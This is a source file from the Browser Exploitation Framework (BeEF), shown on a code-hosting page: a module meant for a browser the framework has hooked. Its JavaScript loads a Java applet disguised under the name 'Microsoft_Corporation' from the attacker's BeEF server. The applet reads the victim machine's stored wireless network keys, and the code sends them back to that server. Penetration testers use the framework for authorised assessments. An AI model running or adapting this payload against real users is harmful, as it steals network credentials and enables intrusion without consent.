Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_wireless_keys/command.js
1154 views
1
/*
2
* Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
* Browser Exploitation Framework (BeEF) - https://beefproject.com
4
* See the file 'doc/COPYING' for copying permission
5
*/
6
7
beef.execute(function() {
8
var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/wirelessZeroConfig.jar';
9
var applet_id = '<%= @applet_id %>';
10
var applet_name = '<%= @applet_name %>';
11
var output;
12
beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'wirelessZeroConfig' ,
13
null, applet_archive, null);
14
output = document.Microsoft_Corporation.getInfo();
15
if (output) {
16
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+output);
17
}
18
beef.dom.detachApplet('wirelessZeroConfig');
19
});
20
21
22
23